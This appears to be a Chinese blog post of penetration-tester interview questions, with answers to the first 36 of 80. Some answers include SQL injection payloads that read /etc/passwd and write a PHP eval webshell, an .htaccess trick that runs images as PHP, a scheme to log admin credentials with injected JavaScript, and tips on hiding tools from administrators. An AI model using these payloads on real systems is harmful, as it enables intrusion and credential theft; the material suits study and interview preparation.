渗透测试工程师面试题总结(一)

目录

1.拿到一个待检测的站,你觉得应该先做什么?

2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?

3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

4.判断出网站的 CMS 对渗透有什么意义?

5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?

6.常见的网站服务器容器?

7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?

8.目前已知哪些版本的容器有解析漏洞,具体举例?

9.如何手工快速判断目标站是 windows 还是 linux 服务器?

10.为何一个 mysql 数据库的站,只有一个 80 端口开放?

11.3389 无法连接的几种情况?

12.如何突破注入时字符被转义?

13.在某后台新闻编辑界面看到编辑器,应该先做什么?

14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?

15.注入漏洞只能查账号密码?

16.安全狗会追踪变量,从而发现出是一句话木马吗?

17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?

18.提权时选择可读写目录,为何尽量不用带空格的目录?

19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户?

20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?

21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录 您的 ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1 如何利用这个防注入系统拿 shell?

22.上传大马后访问乱码时,有哪些解决办法?

23.审查上传点的元素有什么意义?

24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

25.目标站发现某 txt 的下载地址为 http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和 admin 目录。请问你的想法是?

27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?

28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原因?

30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为?

32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?

33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

36.CSRF、SSRF 和重放攻击有什么区别?

37.说出至少三种业务逻辑漏洞,以及修复方式?

38 圈出下面会话中可能存在问题的项,并标注可能会存在的问题?

39.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?

40.你常用的渗透工具有哪些,最常用的是哪个?

41.描述一个你深入研究过的 CVE 或 POC?

42.谈谈你经常关注的安全平台?

43.给你一个网站你是如何来渗透测试的?

44.sqlmap,怎么对一个注入点注入?

45.nmap,扫描的几种方式?

46.sql 注入的几种类型?

47.报错注入的函数有哪些?

48.延时注入如何来判断?

49.盲注和延时注入的共同点?

50.如何拿一个网站的 webshell?

51.sql 注入写文件都有哪些函数?

52.如何防止 CSRF?

53.owasp 漏洞都有哪些?

54.SQL 注入防护方法?

55.代码执行,文件读取,命令执行的函数都有哪些?

56.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?

57.img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾, 怎么获取管理员路径?

58.怎么绕过 WAF 注入和上传以及 xss?

59.既然宽字节注入可以绕过单引号过滤,那么怎么来修复呢?

60.列举出 oracle 注入获取管理员权限提权典型漏洞?

61.mssql 提权的提权思路有哪些步骤?

62、mssql 提权提示错误代码 5,cmd 权限不足的原因?

63.怎么用 sqlmap 对 sa 权限的 mssql 2008 进行提权?

64.xxe 注入有哪些危害以及防御 ?

65.gpc 魔术引号?

66.MYSQL 有哪些提权方法?

67.什么叫 ssrf 以及 ssrf 的防御?

68.如何利用 php 的远程命令执行函数进行反弹 nc?

69.文件包含漏洞可以用来做啥,以及需要主要注意的事项?

70.文件上传有哪些技巧?

71.HTTP 协议 head 方法的功能与 get 方法不同之处是?

72.域和组的区别是什么?

73.对称加密非对称加密?

74.什么是同源策略?

75.cookie 存在哪里?可以打开吗?

76.xss 如何盗取 cookie?

77.tcp、udp 的区别及 tcp 三次握手,syn 攻击?

78.证书要考哪些?

79.DVWA 是如何搭建的?

80.渗透测试的流程是什么?


1.拿到一个待检测的站,你觉得应该先做什么?

        收集信息:whois、网站源 IP、旁站、C 段网站、服务器系统版本、容器版本、
程序版本、数据库类型、二级域名、防火墙、维护者信息另说...

2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?

        5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表名;5.0 以下是多用户单操作,5.0 以上是多用户多操做。

3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?

(1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台
(2)用邮箱做关键词进行丢进搜索引擎
(3)利用搜索到的关联信息找出其他邮箱进而得到常用社交账号
(4)社工找出社交账号,里面或许会找出管理员设置密码的习惯
(5)利用已有信息生成专用字典
(6) 观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西

4.判断出网站的 CMS 对渗透有什么意义?

        查找网上已曝光的程序漏洞,如果开源,还能下载相对应的源码进行代码审计。

5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?

(1)敏感文件、二级目录扫描
(2)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点

6.常见的网站服务器容器?

IIS、Apache、nginx、Tomcat,weblogic、jboss

7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?

root 权限以及网站的绝对路径
load_file()读取文件操作
前提:
知道文件的绝对路径
能够使用 union 查询

对 web 目录有写的权限

union select 1,load_file('/etc/passwd'),3,4,5#
0x2f6574632f706173737764
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换十六进制
要是想省略单引号的话必须转换十六进制
into outfile 写入文件操作
前提:
文件名必须是全路径(绝对路径)
用户必须有写文件的权限
没有对单引号'过滤
select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"]); ?>' into outfile
'C:\Windows\tmp\8.php'
路径里面两个反斜杠\可以换成一个正斜杠/
PHP 语句没有单引号的话,必须转换成十六进制
要是想省略单引号'的话,必须转换成十六进制
<?php eval($_POST["admin"]); ?> 或者 <?php
eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>
<?php eval($_POST["admin"]); ?>
建议一句话 PHP 语句转换成十六进制

8.目前已知哪些版本的容器有解析漏洞,具体举例?

(1) IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
(2) IIS 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图片地址后面输入/1.php,会把正常图片
当成 php 解析
(3) Nginx
版本小于等于 0.8.37,利用方法和 IIS 7.0/7.5 一样,Fast-CGI 关闭情况下也
可利用。
空字节代码 xxx.jpg.php
(4)Apache
上传的文件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
(6)lighttpd
xx.jpg/xx.php

9.如何手工快速判断目标站是 windows 还是 linux 服务器?

linux 大小写敏感,windows 大小写不敏感

10.为何一个 mysql 数据库的站,只有一个 80 端口开放?

(1)更改了端口,没有扫描出来
(2) 站库分离
(3) 3306 端口不对外开放

11.3389 无法连接的几种情况?

(1)没开放 3389 端口
(2)端口被修改
(3) 防护拦截
(4)处于内网(需进行端口转发)

12.如何突破注入时字符被转义?

        宽字符注入;hex 编码绕过

13.在某后台新闻编辑界面看到编辑器,应该先做什么?

        查看编辑器的名称版本,然后搜索公开的漏洞

14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?

        能做的事情很多,用隐藏网马来举例子: 插入
<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMatch>
.jpg 文件会被解析成.php 文件

15.注入漏洞只能查账号密码?

        可脱裤,可上传 webshell,可执行命令

16.安全狗会追踪变量,从而发现出是一句话木马吗?

        是根据特征码,所以很好绕过

17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?

        迅雷下载,直接改后缀为.mdb

18.提权时选择可读写目录,为何尽量不用带空格的目录?

        因为 exp 执行多半需要空格界定参数

19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现也添加上了 test 用户?

        同数据库

20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?

        and/or/xor,前面的 1=1、1=2 步骤只是为了判断是否为注入点,如果已经
确定是注入点那就可以省那步骤去

21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录 您的 ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内容:and 1=1 如何利用这个防注入系统拿 shell?

        在 URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了,这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见:http://ytxiao.lofter.com/post/40583a_ab36540

22.上传大马后访问乱码时,有哪些解决办法?

浏览器中改编码

23.审查上传点的元素有什么意义?

        有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就
能突破限制了

24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

        先爆破用户名,再利用被爆破出来的用户名爆破密码。

25.目标站发现某 txt 的下载地址为 http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什么思路?

        这就任意文件下载漏洞,在 file=后面尝试输入 index.php 下载他的首页文件,
然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和
数据库的地址。

26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和 admin 目录。请问你的想法是?

        直接在网站二级目录/abc/下扫描敏感文件及目录

27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?

(1)后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)
(2)在登录后才可以访问的文件中插入 XSS 脚本

28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码?

审查元素 把密码处的 password 属性改成 text 就明文显示了

29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原因?

        原因很多,有可能 web 服务器配置把上传目录写死了不执行相应脚本,尝试
改后缀名绕过

30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?

        在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12 看
HTML 体部 比如护卫神就可以在名称那看到<hws>内容<hws>

31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为?

        隐藏文件夹,为了不让管理员发现你传上去的工具

32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?

A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选 B,在 URL 编码中 + 代表空格,可能会造成混淆

33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?

demo.do?DATA=AjAxNg==
DATA 有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行
base64 编码才能正确完成测试

34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种是优选?

(1)有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询的输出重定向到系统的文件中,这样去写入 WebShell
(2)使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样效率更高
(3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等方法上传 Shell

35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer
(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

36.CSRF、SSRF 和重放攻击有什么区别?

(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起
(3)重放攻击是将截获的数据包进行重放,达到身份认证等目的
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

​0xSecDebug

你的支持,使我更好的创作

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值